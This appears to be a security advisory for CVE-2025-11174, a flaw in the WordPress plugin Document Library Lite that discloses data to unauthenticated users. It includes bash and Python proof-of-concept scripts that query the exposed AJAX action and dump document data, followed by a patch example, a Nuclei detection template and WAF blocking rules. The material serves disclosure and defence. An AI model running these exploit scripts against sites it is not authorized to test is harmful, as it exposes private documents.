CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

// 취약한 코드 패턴 (단순화됨)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');

POST /wp-admin/admin-ajax.php
action=dll_load_posts

#!/bin/bash
# CVE-2025-11174 PoC

TARGET_URL="$1"

if [ -z "$TARGET_URL" ]; then
    echo "Usage: $0 <target_url>"
    echo "Example: $0 https://example.com"
    exit 1
fi

echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""

# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=dll_load_posts" \
  | python3 -m json.tool

echo ""
echo "[+] If you see document data above, the site is vulnerable!"

#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json

def exploit(target_url):
    ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
    
    print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] AJAX Endpoint: {ajax_url}\n")
    
    data = {'action': 'dll_load_posts'}
    
    try:
        response = requests.post(ajax_url, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request successful!\n")
            try:
                json_data = response.json()
                print("[+] Retrieved document data:")
                print(json.dumps(json_data, indent=2))
                print("\n[!] Site is VULNERABLE to CVE-2025-11174")
            except json.JSONDecodeError:
                print("[-] No JSON response received")
                print(f"Response: {response.text[:200]}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"Example: {sys.argv[0]} https://example.com")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit(target)

wp plugin update document-library-lite

// 적절한 AJAX 보안 예시
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');

function dll_load_posts_callback() {
    // 논스(nonce) 검증
    if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
        wp_die('Invalid nonce');
    }
    
    // 권한 확인
    if (!current_user_can('read')) {
        wp_send_json_error('Insufficient permissions');
        wp_die();
    }
    
    // 안전한 코드 작성
}

# 취약한 버전이 설치되어 있는지 확인
wp plugin list | grep -i "document-library-lite"

id: CVE-2025-11174

info:
  name: Document Library Lite - Unauthenticated Information Disclosure
  author: security-research
  severity: medium
  description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
  reference:
    - https://github.com/[your-repo]/CVE-2025-11174
  tags: cve,cve2025,wordpress,wp-plugin,unauth

requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"
    
    body: "action=dll_load_posts"
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "data"
          - "recordsTotal"
        condition: and
      
      - type: status
        status:
          - 200

SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
    "chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
    log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
    SecRule ARGS:action "@streq dll_load_posts" "t:none"

if ($request_uri ~* "admin-ajax\.php") {
    if ($args ~* "action=dll_load_posts") {
        return 403;
    }
}